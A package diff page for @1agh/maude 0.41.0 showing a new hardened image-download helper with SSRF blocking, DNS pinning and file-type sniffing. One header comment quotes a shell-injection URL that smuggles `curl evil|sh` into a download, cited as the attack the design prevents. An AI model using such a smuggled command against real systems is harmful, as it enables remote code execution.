@1agh/maude 0.40.0 → 0.41.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/apps/studio/ai-banner.tsx +2 -2
- package/apps/studio/annotations-layer.tsx +53 -2
- package/apps/studio/api.ts +504 -3
- package/apps/studio/artboard-marquee.tsx +1 -1
- package/apps/studio/bin/_canvas-rects-playwright.mjs +55 -0
- package/apps/studio/bin/_canvas-rects-static.mjs +166 -0
- package/apps/studio/bin/_fetch-asset.mjs +556 -0
- package/apps/studio/bin/annotate.mjs +576 -34
- package/apps/studio/bin/canvas-rects.sh +152 -0
- package/apps/studio/bin/fetch-asset.sh +34 -0
- package/apps/studio/bin/read-annotations.mjs +138 -7
- package/apps/studio/bin/smoke.sh +42 -6
- package/apps/studio/build.ts +21 -0
- package/apps/studio/canvas-comment-mount.tsx +138 -4
- package/apps/studio/canvas-edit.ts +744 -11
- package/apps/studio/canvas-lib.tsx +219 -2
- package/apps/studio/canvas-shell.tsx +487 -20
- package/apps/studio/client/app.jsx +1451 -22
- package/apps/studio/client/comments-overlay.css +130 -126
- package/apps/studio/client/github.js +8 -0
- package/apps/studio/client/styles/3-shell-maude.css +48 -0
- package/apps/studio/comments-overlay.tsx +148 -41
- package/apps/studio/context-menu.tsx +15 -5
- package/apps/studio/contextual-toolbar.tsx +262 -4
- package/apps/studio/cursors-overlay.tsx +4 -4
- package/apps/studio/dist/client.bundle.js +20 -20
- package/apps/studio/dist/comment-mount.js +59 -1
- package/apps/studio/dist/styles.css +1 -1
- package/apps/studio/dom-selection.ts +127 -1
- package/apps/studio/drag-state.ts +24 -0
- package/apps/studio/equal-spacing-detector.ts +205 -0
- package/apps/studio/export-dialog.tsx +1 -1
- package/apps/studio/history.ts +47 -1
- package/apps/studio/http.ts +223 -0
- package/apps/studio/input-router.tsx +12 -0
- package/apps/studio/marquee-overlay.tsx +1 -1
- package/apps/studio/measure-overlay.tsx +241 -0
- package/apps/studio/participants-chrome.tsx +3 -3
- package/apps/studio/sizing-mode.ts +117 -0
- package/apps/studio/spacing-handles.ts +166 -0
- package/apps/studio/test/annotate-write.test.ts +890 -0
- package/apps/studio/test/camera-reveal.test.tsx +173 -0
- package/apps/studio/test/canvas-edit.test.ts +50 -0
- package/apps/studio/test/canvas-origin-gate.test.ts +18 -0
- package/apps/studio/test/canvas-rects.test.ts +198 -0
- package/apps/studio/test/comments-overlay.test.ts +117 -0
- package/apps/studio/test/dom-selection.test.ts +130 -0
- package/apps/studio/test/edit-css-occurrence.test.ts +81 -0
- package/apps/studio/test/edit-scope-api.test.ts +115 -0
- package/apps/studio/test/element-resize.test.ts +136 -0
- package/apps/studio/test/element-structural-api.test.ts +360 -0
- package/apps/studio/test/element-structural-edit.test.ts +233 -0
- package/apps/studio/test/equal-spacing-detector.test.ts +165 -1
- package/apps/studio/test/history-rollback.test.ts +26 -0
- package/apps/studio/test/knob-props-authored.test.ts +87 -0
- package/apps/studio/test/read-annotations.test.ts +154 -0
- package/apps/studio/test/sizing-mode.test.ts +102 -0
- package/apps/studio/test/spacing-handles.test.ts +138 -0
- package/apps/studio/test/specimen-select.test.ts +88 -0
- package/apps/studio/test/tool-palette-insert-anchor.test.ts +84 -0
- package/apps/studio/test/undo-sequence-byte-compare.test.ts +211 -0
- package/apps/studio/tool-palette.tsx +122 -2
- package/apps/studio/undo-hud.tsx +2 -2
- package/apps/studio/use-element-resize.tsx +732 -0
- package/apps/studio/use-keyboard-discipline.tsx +205 -15
- package/apps/studio/use-selection-set.tsx +14 -0
- package/apps/studio/use-spacing-handles.tsx +388 -0
- package/apps/studio/whats-new.json +28 -0
- package/cli/commands/design.mjs +6 -1
- package/cli/commands/design.test.mjs +49 -1
- package/cli/lib/fetch-asset.test.mjs +213 -0
- package/package.json +8 -8
- package/plugins/design/dependencies.json +10 -2
|
@@ -0,0 +1,556 @@
|
|
|
1
|
+
#!/usr/bin/env node
|
|
2
|
+
// _fetch-asset.mjs — hardened download-first helper behind `maude design
|
|
3
|
+
// fetch-asset` (DDR-062 dispatch; DDR-147 § Security follow-up item 1).
|
|
4
|
+
//
|
|
5
|
+
// WHY THIS EXISTS: the moodboard (`/design:setup-ds` Stage 3) and DS specimens
|
|
6
|
+
// fill photo slots with imagery the research pass harvests off the web. An
|
|
7
|
+
// external `<img src="https://…">` hotlink is blocked by the canvas iframe CSP
|
|
8
|
+
// (`img-src 'self' data: blob:`, ALWAYS on under the default DDR-054 origin
|
|
9
|
+
// split) and is browser-context-flaky even where it isn't — so DDR-147 made
|
|
10
|
+
// download-first the rule: fetch to a LOCAL asset, reference the local path.
|
|
11
|
+
// But the download is a confused-deputy sink: every `reference_images[].url`
|
|
12
|
+
// is ATTACKER-CONTROLLED (it came from a page the research pass ingested) and
|
|
13
|
+
// `<designRoot>/assets/` is VERSIONED (it commits + syncs to peers, DDR-054).
|
|
14
|
+
// So this helper is the ONE reviewable place that does the fetch safely:
|
|
15
|
+
//
|
|
16
|
+
// • fixed, non-interpolated curl args — the URL is passed as a single argv
|
|
17
|
+
// element after `--`, never spliced into a shell string (closes the
|
|
18
|
+
// `https://x/a.png";curl evil|sh;"` shell-injection RCE that a hand-authored
|
|
19
|
+
// prose `curl` recipe transcribed by an agent would open),
|
|
20
|
+
// • https-only, no redirects, size + time caps, no-proxy,
|
|
21
|
+
// • a RESOLVED-IP SSRF gate (reject loopback / link-local / RFC-1918 / CGNAT /
|
|
22
|
+
// multicast / reserved, v4 AND v6, incl. IPv4-mapped + NAT64 embeds) with
|
|
23
|
+
// DNS PINNING via `--resolve` so a rebinding TOCTOU can't swap a validated
|
|
24
|
+
// public IP for 169.254.169.254 between the check and the connect,
|
|
25
|
+
// • a magic-byte image sniff (png/jpg/gif/webp; SVG/HTML/script → reject),
|
|
26
|
+
// • a content-addressed `<sha8>.<ext>` filename (`[a-z0-9._-]` only) written
|
|
27
|
+
// FLAT under `<designRoot>/assets/` with a realpath containment assertion —
|
|
28
|
+
// mirroring the `/_api/asset` route's convention so the reference form
|
|
29
|
+
// `/assets/<sha8>.<ext>` serves on BOTH the main and the segregated canvas
|
|
30
|
+
// origin (the nested `assets/moodboard/<ds>/` layout 404'd on the canvas
|
|
31
|
+
// origin's flat-only `/assets/` gate — the second half of the bug this fixes).
|
|
32
|
+
//
|
|
33
|
+
// Reached via `maude design fetch-asset <url> --root <repo>`, never a raw path.
|
|
34
|
+
// stdout on success = the canvas reference path (one line), so the caller can do
|
|
35
|
+
// REF=$(maude design fetch-asset "$URL" --root "$REPO") && <use $REF> || <scrap>
|
|
36
|
+
// Exit: 0 ok · 2 usage · 3 SSRF/validation reject · 4 download/http error ·
|
|
37
|
+
// 5 unsupported media type · 6 write/containment error · 1 other.
|
|
38
|
+
|
|
39
|
+
import { execFileSync } from 'node:child_process';
|
|
40
|
+
import { createHash } from 'node:crypto';
|
|
41
|
+
import { lookup } from 'node:dns/promises';
|
|
42
|
+
import { existsSync, mkdirSync, readFileSync, renameSync, rmSync } from 'node:fs';
|
|
43
|
+
import { isIP } from 'node:net';
|
|
44
|
+
import { join, resolve, sep } from 'node:path';
|
|
45
|
+
import { pathToFileURL } from 'node:url';
|
|
46
|
+
|
|
47
|
+
// A real browser UA — some CDNs (wikimedia) 403 a bare curl/UA; the memory
|
|
48
|
+
// `canvas-images-download-first` documents this. Fixed string, never templated.
|
|
49
|
+
const BROWSER_UA =
|
|
50
|
+
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36';
|
|
51
|
+
|
|
52
|
+
// Images keep the tighter 10 MB cap (mirrors api.ts ASSET_MAX_BYTES for the
|
|
53
|
+
// image category). Override for a giant hero via --max-bytes.
|
|
54
|
+
const DEFAULT_MAX_BYTES = 10 * 1024 * 1024;
|
|
55
|
+
const DEFAULT_MAX_TIME = 20; // seconds — whole transfer
|
|
56
|
+
|
|
57
|
+
// ── IPv4 ───────────────────────────────────────────────────────────────────
|
|
58
|
+
|
|
59
|
+
/** Parse a dotted-quad into a 4-byte array, or null if not a valid IPv4. */
|
|
60
|
+
export function parseIPv4(str) {
|
|
61
|
+
if (typeof str !== 'string') return null;
|
|
62
|
+
const parts = str.split('.');
|
|
63
|
+
if (parts.length !== 4) return null;
|
|
64
|
+
const bytes = new Uint8Array(4);
|
|
65
|
+
for (let i = 0; i < 4; i += 1) {
|
|
66
|
+
const p = parts[i];
|
|
67
|
+
// No leading-zero octets (avoids octal ambiguity), digits only, 0..255.
|
|
68
|
+
if (!/^\d{1,3}$/.test(p)) return null;
|
|
69
|
+
if (p.length > 1 && p[0] === '0') return null;
|
|
70
|
+
const n = Number(p);
|
|
71
|
+
if (n > 255) return null;
|
|
72
|
+
bytes[i] = n;
|
|
73
|
+
}
|
|
74
|
+
return bytes;
|
|
75
|
+
}
|
|
76
|
+
|
|
77
|
+
/**
|
|
78
|
+
* Return a block-reason string if this IPv4 is a private / loopback / link-local
|
|
79
|
+
* / reserved address that egress must never reach, else null (public → allowed).
|
|
80
|
+
*/
|
|
81
|
+
export function classifyIPv4(bytes) {
|
|
82
|
+
const [a, b] = bytes;
|
|
83
|
+
if (a === 0) return 'ipv4 0.0.0.0/8 (this-network)';
|
|
84
|
+
if (a === 10) return 'ipv4 10.0.0.0/8 (private)';
|
|
85
|
+
if (a === 127) return 'ipv4 127.0.0.0/8 (loopback)';
|
|
86
|
+
if (a === 100 && b >= 64 && b <= 127) return 'ipv4 100.64.0.0/10 (CGNAT)';
|
|
87
|
+
if (a === 169 && b === 254) return 'ipv4 169.254.0.0/16 (link-local incl. IMDS)';
|
|
88
|
+
if (a === 172 && b >= 16 && b <= 31) return 'ipv4 172.16.0.0/12 (private)';
|
|
89
|
+
if (a === 192 && b === 0 && bytes[2] === 0) return 'ipv4 192.0.0.0/24 (IETF)';
|
|
90
|
+
if (a === 192 && b === 0 && bytes[2] === 2) return 'ipv4 192.0.2.0/24 (TEST-NET-1)';
|
|
91
|
+
if (a === 192 && b === 168) return 'ipv4 192.168.0.0/16 (private)';
|
|
92
|
+
if (a === 198 && (b === 18 || b === 19)) return 'ipv4 198.18.0.0/15 (benchmark)';
|
|
93
|
+
if (a >= 224 && a <= 239) return 'ipv4 224.0.0.0/4 (multicast)';
|
|
94
|
+
if (a >= 240) return 'ipv4 240.0.0.0/4 (reserved/broadcast)';
|
|
95
|
+
return null;
|
|
96
|
+
}
|
|
97
|
+
|
|
98
|
+
// ── IPv6 ───────────────────────────────────────────────────────────────────
|
|
99
|
+
|
|
100
|
+
/** Parse an IPv6 string (incl. `::`, zone id, embedded IPv4) into 16 bytes. */
|
|
101
|
+
export function parseIPv6(str) {
|
|
102
|
+
if (typeof str !== 'string') return null;
|
|
103
|
+
let s = str.trim();
|
|
104
|
+
const zone = s.indexOf('%');
|
|
105
|
+
if (zone !== -1) s = s.slice(0, zone); // drop scope id (fe80::1%en0)
|
|
106
|
+
|
|
107
|
+
// Embedded trailing IPv4 (::ffff:1.2.3.4 or 64:ff9b::1.2.3.4) → two hextets.
|
|
108
|
+
if (s.includes('.')) {
|
|
109
|
+
const idx = s.lastIndexOf(':');
|
|
110
|
+
if (idx === -1) return null;
|
|
111
|
+
const v4 = parseIPv4(s.slice(idx + 1));
|
|
112
|
+
if (!v4) return null;
|
|
113
|
+
const h1 = ((v4[0] << 8) | v4[1]).toString(16);
|
|
114
|
+
const h2 = ((v4[2] << 8) | v4[3]).toString(16);
|
|
115
|
+
s = `${s.slice(0, idx + 1)}${h1}:${h2}`;
|
|
116
|
+
}
|
|
117
|
+
|
|
118
|
+
const halves = s.split('::');
|
|
119
|
+
if (halves.length > 2) return null;
|
|
120
|
+
const head = halves[0] ? halves[0].split(':') : [];
|
|
121
|
+
const tail = halves.length === 2 ? (halves[1] ? halves[1].split(':') : []) : null;
|
|
122
|
+
|
|
123
|
+
let groups;
|
|
124
|
+
if (tail === null) {
|
|
125
|
+
if (head.length !== 8) return null; // no '::' ⇒ must be exactly 8 groups
|
|
126
|
+
groups = head;
|
|
127
|
+
} else {
|
|
128
|
+
const missing = 8 - (head.length + tail.length);
|
|
129
|
+
if (missing < 1) return null; // '::' must stand for ≥1 zero group
|
|
130
|
+
groups = [...head, ...Array(missing).fill('0'), ...tail];
|
|
131
|
+
}
|
|
132
|
+
if (groups.length !== 8) return null;
|
|
133
|
+
|
|
134
|
+
const bytes = new Uint8Array(16);
|
|
135
|
+
for (let i = 0; i < 8; i += 1) {
|
|
136
|
+
const g = groups[i];
|
|
137
|
+
if (!/^[0-9a-fA-F]{1,4}$/.test(g)) return null;
|
|
138
|
+
const v = Number.parseInt(g, 16);
|
|
139
|
+
bytes[i * 2] = (v >> 8) & 0xff;
|
|
140
|
+
bytes[i * 2 + 1] = v & 0xff;
|
|
141
|
+
}
|
|
142
|
+
return bytes;
|
|
143
|
+
}
|
|
144
|
+
|
|
145
|
+
/** Block-reason for an IPv6 (16 bytes), or null if public/allowed. */
|
|
146
|
+
export function classifyIPv6(bytes) {
|
|
147
|
+
const b = bytes;
|
|
148
|
+
const allZeroThrough = (n) => b.slice(0, n).every((x) => x === 0);
|
|
149
|
+
|
|
150
|
+
if (allZeroThrough(16)) return 'ipv6 :: (unspecified)';
|
|
151
|
+
if (allZeroThrough(15) && b[15] === 1) return 'ipv6 ::1 (loopback)';
|
|
152
|
+
if (b[0] === 0xfe && (b[1] & 0xc0) === 0x80) return 'ipv6 fe80::/10 (link-local)';
|
|
153
|
+
if ((b[0] & 0xfe) === 0xfc) return 'ipv6 fc00::/7 (unique-local)';
|
|
154
|
+
if (b[0] === 0xff) return 'ipv6 ff00::/8 (multicast)';
|
|
155
|
+
|
|
156
|
+
// IPv4-mapped ::ffff:0:0/96 — classify the embedded v4 (the real target).
|
|
157
|
+
if (allZeroThrough(10) && b[10] === 0xff && b[11] === 0xff) {
|
|
158
|
+
const reason = classifyIPv4(b.slice(12, 16));
|
|
159
|
+
return reason ? `ipv4-mapped ${reason}` : null;
|
|
160
|
+
}
|
|
161
|
+
// NAT64 well-known prefix 64:ff9b::/96 — classify the embedded v4 too.
|
|
162
|
+
if (
|
|
163
|
+
b[0] === 0x00 &&
|
|
164
|
+
b[1] === 0x64 &&
|
|
165
|
+
b[2] === 0xff &&
|
|
166
|
+
b[3] === 0x9b &&
|
|
167
|
+
allZeroThroughRange(b, 4, 12)
|
|
168
|
+
) {
|
|
169
|
+
const reason = classifyIPv4(b.slice(12, 16));
|
|
170
|
+
return reason ? `nat64 ${reason}` : null;
|
|
171
|
+
}
|
|
172
|
+
return null;
|
|
173
|
+
}
|
|
174
|
+
|
|
175
|
+
function allZeroThroughRange(b, from, to) {
|
|
176
|
+
for (let i = from; i < to; i += 1) if (b[i] !== 0) return false;
|
|
177
|
+
return true;
|
|
178
|
+
}
|
|
179
|
+
|
|
180
|
+
/**
|
|
181
|
+
* Classify any IP literal string. Returns a block-reason (truthy) if egress to
|
|
182
|
+
* it is forbidden, null if allowed, and 'unparseable address' if it isn't a
|
|
183
|
+
* valid IP (fail-closed — the caller rejects on any non-null).
|
|
184
|
+
*/
|
|
185
|
+
export function classifyAddress(addr) {
|
|
186
|
+
const kind = isIP(addr);
|
|
187
|
+
if (kind === 4) {
|
|
188
|
+
const bytes = parseIPv4(addr);
|
|
189
|
+
return bytes ? classifyIPv4(bytes) : 'unparseable ipv4';
|
|
190
|
+
}
|
|
191
|
+
if (kind === 6) {
|
|
192
|
+
const bytes = parseIPv6(addr);
|
|
193
|
+
return bytes ? classifyIPv6(bytes) : 'unparseable ipv6';
|
|
194
|
+
}
|
|
195
|
+
return 'not an ip address';
|
|
196
|
+
}
|
|
197
|
+
|
|
198
|
+
// ── URL target ───────────────────────────────────────────────────────────────
|
|
199
|
+
|
|
200
|
+
/**
|
|
201
|
+
* Validate the URL is a plain https target and pull out {host, port}. Throws a
|
|
202
|
+
* FetchAssetError (code 3) on anything else — non-https scheme, embedded
|
|
203
|
+
* credentials, missing host.
|
|
204
|
+
*/
|
|
205
|
+
export function parseHttpsTarget(rawUrl) {
|
|
206
|
+
let u;
|
|
207
|
+
try {
|
|
208
|
+
u = new URL(rawUrl);
|
|
209
|
+
} catch {
|
|
210
|
+
throw new FetchAssetError(3, `not a valid URL: ${truncate(rawUrl)}`);
|
|
211
|
+
}
|
|
212
|
+
if (u.protocol !== 'https:') {
|
|
213
|
+
throw new FetchAssetError(3, `only https:// is allowed (got ${u.protocol}//)`);
|
|
214
|
+
}
|
|
215
|
+
if (u.username || u.password) {
|
|
216
|
+
throw new FetchAssetError(3, 'URLs with embedded credentials are refused');
|
|
217
|
+
}
|
|
218
|
+
const host = u.hostname;
|
|
219
|
+
if (!host) throw new FetchAssetError(3, 'URL has no host');
|
|
220
|
+
const port = u.port ? Number(u.port) : 443;
|
|
221
|
+
if (!Number.isInteger(port) || port < 1 || port > 65535) {
|
|
222
|
+
throw new FetchAssetError(3, `bad port ${u.port}`);
|
|
223
|
+
}
|
|
224
|
+
return { host, port };
|
|
225
|
+
}
|
|
226
|
+
|
|
227
|
+
// ── image sniff + naming ─────────────────────────────────────────────────────
|
|
228
|
+
|
|
229
|
+
/**
|
|
230
|
+
* Magic-byte sniff — png/jpg/gif/webp only. Mirrors api.ts sniffImageType so
|
|
231
|
+
* this lane and the /_api/asset route agree. SVG (XML text) matches nothing →
|
|
232
|
+
* null → rejected, so a script-bearing vector can't ride in as an "image".
|
|
233
|
+
* Bytes decide the extension; the URL/Content-Type is never trusted.
|
|
234
|
+
*/
|
|
235
|
+
export function sniffImageExt(b) {
|
|
236
|
+
if (
|
|
237
|
+
b.length >= 8 &&
|
|
238
|
+
b[0] === 0x89 &&
|
|
239
|
+
b[1] === 0x50 &&
|
|
240
|
+
b[2] === 0x4e &&
|
|
241
|
+
b[3] === 0x47 &&
|
|
242
|
+
b[4] === 0x0d &&
|
|
243
|
+
b[5] === 0x0a &&
|
|
244
|
+
b[6] === 0x1a &&
|
|
245
|
+
b[7] === 0x0a
|
|
246
|
+
) {
|
|
247
|
+
return 'png';
|
|
248
|
+
}
|
|
249
|
+
if (b.length >= 3 && b[0] === 0xff && b[1] === 0xd8 && b[2] === 0xff) return 'jpg';
|
|
250
|
+
if (
|
|
251
|
+
b.length >= 6 &&
|
|
252
|
+
b[0] === 0x47 &&
|
|
253
|
+
b[1] === 0x49 &&
|
|
254
|
+
b[2] === 0x46 &&
|
|
255
|
+
b[3] === 0x38 &&
|
|
256
|
+
(b[4] === 0x37 || b[4] === 0x39) &&
|
|
257
|
+
b[5] === 0x61
|
|
258
|
+
) {
|
|
259
|
+
return 'gif';
|
|
260
|
+
}
|
|
261
|
+
if (
|
|
262
|
+
b.length >= 12 &&
|
|
263
|
+
b[0] === 0x52 &&
|
|
264
|
+
b[1] === 0x49 &&
|
|
265
|
+
b[2] === 0x46 &&
|
|
266
|
+
b[3] === 0x46 &&
|
|
267
|
+
b[8] === 0x57 &&
|
|
268
|
+
b[9] === 0x45 &&
|
|
269
|
+
b[10] === 0x42 &&
|
|
270
|
+
b[11] === 0x50
|
|
271
|
+
) {
|
|
272
|
+
return 'webp';
|
|
273
|
+
}
|
|
274
|
+
return null;
|
|
275
|
+
}
|
|
276
|
+
|
|
277
|
+
/** Content-addressed name `<sha8>.<ext>` — same shape the /_api/asset route uses. */
|
|
278
|
+
export function assetName(bytes, ext) {
|
|
279
|
+
const sha8 = createHash('sha256').update(bytes).digest('hex').slice(0, 8);
|
|
280
|
+
const name = `${sha8}.${ext}`;
|
|
281
|
+
// Defense-in-depth: the shape is machine-generated, but assert the charset
|
|
282
|
+
// contract the untrusted-fetch rails promise (`[a-z0-9._-]`, no path segment).
|
|
283
|
+
if (!/^[a-z0-9]{8}\.(png|jpg|gif|webp)$/.test(name)) {
|
|
284
|
+
throw new FetchAssetError(6, `generated name failed the charset contract: ${name}`);
|
|
285
|
+
}
|
|
286
|
+
return name;
|
|
287
|
+
}
|
|
288
|
+
|
|
289
|
+
/**
|
|
290
|
+
* Resolve `<root>/<designRootRel>/assets/<name>` and assert it stays inside the
|
|
291
|
+
* assets dir (realpath containment — poisoned designRoot / traversal backstop).
|
|
292
|
+
*/
|
|
293
|
+
export function containedAssetPath(root, designRootRel, name) {
|
|
294
|
+
const rootAbs = resolve(root);
|
|
295
|
+
const assetsDir = resolve(rootAbs, designRootRel, 'assets');
|
|
296
|
+
if (assetsDir !== rootAbs && !assetsDir.startsWith(rootAbs + sep)) {
|
|
297
|
+
throw new FetchAssetError(6, `assets dir escapes root: ${assetsDir}`);
|
|
298
|
+
}
|
|
299
|
+
const fileAbs = resolve(assetsDir, name);
|
|
300
|
+
if (fileAbs !== join(assetsDir, name) || !fileAbs.startsWith(assetsDir + sep)) {
|
|
301
|
+
throw new FetchAssetError(6, `resolved asset path escapes assets dir: ${fileAbs}`);
|
|
302
|
+
}
|
|
303
|
+
return { assetsDir, fileAbs };
|
|
304
|
+
}
|
|
305
|
+
|
|
306
|
+
export class FetchAssetError extends Error {
|
|
307
|
+
constructor(code, message) {
|
|
308
|
+
super(message);
|
|
309
|
+
this.code = code;
|
|
310
|
+
}
|
|
311
|
+
}
|
|
312
|
+
|
|
313
|
+
function truncate(s, n = 120) {
|
|
314
|
+
const str = String(s);
|
|
315
|
+
return str.length > n ? `${str.slice(0, n)}…` : str;
|
|
316
|
+
}
|
|
317
|
+
|
|
318
|
+
// ── network (impure) ─────────────────────────────────────────────────────────
|
|
319
|
+
|
|
320
|
+
/**
|
|
321
|
+
* Resolve the host to IPs, reject if ANY is internal (conservative — a host that
|
|
322
|
+
* also resolves to an internal IP is treated as hostile, defeating a mixed
|
|
323
|
+
* public/internal rebinding answer), and return the public IP to pin to.
|
|
324
|
+
*/
|
|
325
|
+
export async function resolveSafeIp(host) {
|
|
326
|
+
// An IP literal host is classified directly — no DNS.
|
|
327
|
+
if (isIP(host)) {
|
|
328
|
+
const reason = classifyAddress(host);
|
|
329
|
+
if (reason) throw new FetchAssetError(3, `blocked address ${host} — ${reason}`);
|
|
330
|
+
return host;
|
|
331
|
+
}
|
|
332
|
+
let records;
|
|
333
|
+
try {
|
|
334
|
+
records = await lookup(host, { all: true, verbatim: true });
|
|
335
|
+
} catch (err) {
|
|
336
|
+
throw new FetchAssetError(3, `DNS resolution failed for ${host}: ${err?.code ?? err?.message}`);
|
|
337
|
+
}
|
|
338
|
+
if (!records.length) throw new FetchAssetError(3, `no DNS records for ${host}`);
|
|
339
|
+
for (const { address } of records) {
|
|
340
|
+
const reason = classifyAddress(address);
|
|
341
|
+
if (reason) throw new FetchAssetError(3, `${host} resolves to blocked ${address} — ${reason}`);
|
|
342
|
+
}
|
|
343
|
+
return records[0].address;
|
|
344
|
+
}
|
|
345
|
+
|
|
346
|
+
/**
|
|
347
|
+
* Download <url> to <tmpAbs> with the hardened, fixed curl args, pinning the
|
|
348
|
+
* connection to the pre-validated <pinIp> so no re-resolution (rebinding) can
|
|
349
|
+
* occur. Returns nothing; throws FetchAssetError(4) on any non-200 / transport
|
|
350
|
+
* failure. The URL is the LAST argv element after `--` — never interpolated.
|
|
351
|
+
*/
|
|
352
|
+
export function curlDownload({ url, host, port, pinIp, tmpAbs, maxBytes, maxTime }) {
|
|
353
|
+
const args = [
|
|
354
|
+
'--proto',
|
|
355
|
+
'=https',
|
|
356
|
+
'--proto-redir',
|
|
357
|
+
'=https',
|
|
358
|
+
'--max-redirs',
|
|
359
|
+
'0', // no redirects — blocks redirect-to-internal SSRF
|
|
360
|
+
'--max-filesize',
|
|
361
|
+
String(maxBytes),
|
|
362
|
+
'--max-time',
|
|
363
|
+
String(maxTime),
|
|
364
|
+
'--connect-timeout',
|
|
365
|
+
String(Math.min(maxTime, 10)),
|
|
366
|
+
'--noproxy',
|
|
367
|
+
'*', // ignore *_PROXY env — no egress via a poisoned proxy
|
|
368
|
+
'-sS',
|
|
369
|
+
'-A',
|
|
370
|
+
BROWSER_UA,
|
|
371
|
+
'--resolve',
|
|
372
|
+
`${host}:${port}:${pinIp}`, // pin — defeats DNS rebinding
|
|
373
|
+
'-o',
|
|
374
|
+
tmpAbs,
|
|
375
|
+
'-w',
|
|
376
|
+
'%{http_code}',
|
|
377
|
+
'--',
|
|
378
|
+
url,
|
|
379
|
+
];
|
|
380
|
+
let httpCode;
|
|
381
|
+
try {
|
|
382
|
+
httpCode = execFileSync('curl', args, {
|
|
383
|
+
encoding: 'utf8',
|
|
384
|
+
timeout: (maxTime + 5) * 1000,
|
|
385
|
+
maxBuffer: 1024 * 1024,
|
|
386
|
+
}).trim();
|
|
387
|
+
} catch (err) {
|
|
388
|
+
throw new FetchAssetError(4, `curl failed: ${err?.message ?? err}`);
|
|
389
|
+
}
|
|
390
|
+
if (httpCode !== '200') {
|
|
391
|
+
throw new FetchAssetError(
|
|
392
|
+
4,
|
|
393
|
+
`server returned HTTP ${httpCode || '(none)'} (redirects disabled)`
|
|
394
|
+
);
|
|
395
|
+
}
|
|
396
|
+
}
|
|
397
|
+
|
|
398
|
+
// ── orchestration ────────────────────────────────────────────────────────────
|
|
399
|
+
|
|
400
|
+
/**
|
|
401
|
+
* Full fetch: validate URL → SSRF-gate the resolved IP → download pinned →
|
|
402
|
+
* sniff → content-address → contain → write. Returns
|
|
403
|
+
* { ref, path, name, bytes, ext }. Throws FetchAssetError with a .code.
|
|
404
|
+
*/
|
|
405
|
+
export async function fetchAsset({
|
|
406
|
+
url,
|
|
407
|
+
root,
|
|
408
|
+
designRootRel = '.design',
|
|
409
|
+
maxBytes = DEFAULT_MAX_BYTES,
|
|
410
|
+
maxTime = DEFAULT_MAX_TIME,
|
|
411
|
+
}) {
|
|
412
|
+
const { host, port } = parseHttpsTarget(url);
|
|
413
|
+
const pinIp = await resolveSafeIp(host);
|
|
414
|
+
|
|
415
|
+
const { assetsDir } = containedAssetPath(root, designRootRel, 'placeholder.png');
|
|
416
|
+
mkdirSync(assetsDir, { recursive: true });
|
|
417
|
+
const tmpAbs = join(
|
|
418
|
+
assetsDir,
|
|
419
|
+
`.tmp-${createHash('sha256').update(url).digest('hex').slice(0, 12)}`
|
|
420
|
+
);
|
|
421
|
+
|
|
422
|
+
try {
|
|
423
|
+
curlDownload({ url, host, port, pinIp, tmpAbs, maxBytes, maxTime });
|
|
424
|
+
|
|
425
|
+
let data;
|
|
426
|
+
try {
|
|
427
|
+
data = readFileSync(tmpAbs);
|
|
428
|
+
} catch {
|
|
429
|
+
throw new FetchAssetError(4, 'download produced no file');
|
|
430
|
+
}
|
|
431
|
+
if (data.length === 0) throw new FetchAssetError(4, 'downloaded empty body');
|
|
432
|
+
if (data.length > maxBytes) throw new FetchAssetError(4, `file exceeds ${maxBytes} bytes`);
|
|
433
|
+
|
|
434
|
+
const ext = sniffImageExt(data);
|
|
435
|
+
if (!ext) {
|
|
436
|
+
throw new FetchAssetError(5, 'not a png/jpg/gif/webp image (SVG/HTML/script rejected)');
|
|
437
|
+
}
|
|
438
|
+
|
|
439
|
+
const name = assetName(data, ext);
|
|
440
|
+
const { fileAbs } = containedAssetPath(root, designRootRel, name);
|
|
441
|
+
// Dedupe — identical bytes hash to the same name.
|
|
442
|
+
if (existsSync(fileAbs)) {
|
|
443
|
+
rmSync(tmpAbs, { force: true });
|
|
444
|
+
} else {
|
|
445
|
+
renameSync(tmpAbs, fileAbs);
|
|
446
|
+
}
|
|
447
|
+
return { ref: `/assets/${name}`, path: `assets/${name}`, name, bytes: data.length, ext };
|
|
448
|
+
} finally {
|
|
449
|
+
rmSync(tmpAbs, { force: true });
|
|
450
|
+
}
|
|
451
|
+
}
|
|
452
|
+
|
|
453
|
+
// ── CLI ──────────────────────────────────────────────────────────────────────
|
|
454
|
+
|
|
455
|
+
function parseArgv(argv) {
|
|
456
|
+
const out = {
|
|
457
|
+
url: null,
|
|
458
|
+
root: null,
|
|
459
|
+
designRoot: '.design',
|
|
460
|
+
maxBytes: DEFAULT_MAX_BYTES,
|
|
461
|
+
maxTime: DEFAULT_MAX_TIME,
|
|
462
|
+
json: false,
|
|
463
|
+
};
|
|
464
|
+
for (let i = 0; i < argv.length; i += 1) {
|
|
465
|
+
const a = argv[i];
|
|
466
|
+
switch (a) {
|
|
467
|
+
case '--root':
|
|
468
|
+
out.root = argv[++i];
|
|
469
|
+
break;
|
|
470
|
+
case '--design-root':
|
|
471
|
+
out.designRoot = argv[++i];
|
|
472
|
+
break;
|
|
473
|
+
case '--max-bytes':
|
|
474
|
+
out.maxBytes = Number(argv[++i]);
|
|
475
|
+
break;
|
|
476
|
+
case '--max-time':
|
|
477
|
+
out.maxTime = Number(argv[++i]);
|
|
478
|
+
break;
|
|
479
|
+
case '--json':
|
|
480
|
+
out.json = true;
|
|
481
|
+
break;
|
|
482
|
+
case '--help':
|
|
483
|
+
case '-h':
|
|
484
|
+
out.help = true;
|
|
485
|
+
break;
|
|
486
|
+
default:
|
|
487
|
+
if (a.startsWith('-')) throw new FetchAssetError(2, `unknown flag ${a}`);
|
|
488
|
+
if (out.url === null) out.url = a;
|
|
489
|
+
else throw new FetchAssetError(2, `unexpected extra arg ${a}`);
|
|
490
|
+
}
|
|
491
|
+
}
|
|
492
|
+
return out;
|
|
493
|
+
}
|
|
494
|
+
|
|
495
|
+
const HELP = `fetch-asset — hardened download-first image fetch (reached via \`maude design fetch-asset\`)
|
|
496
|
+
|
|
497
|
+
Usage:
|
|
498
|
+
maude design fetch-asset <https-url> --root <repo> [--design-root .design]
|
|
499
|
+
[--max-bytes N] [--max-time S] [--json]
|
|
500
|
+
|
|
501
|
+
Downloads an image over https ONLY, through a resolved-IP SSRF gate + DNS pin,
|
|
502
|
+
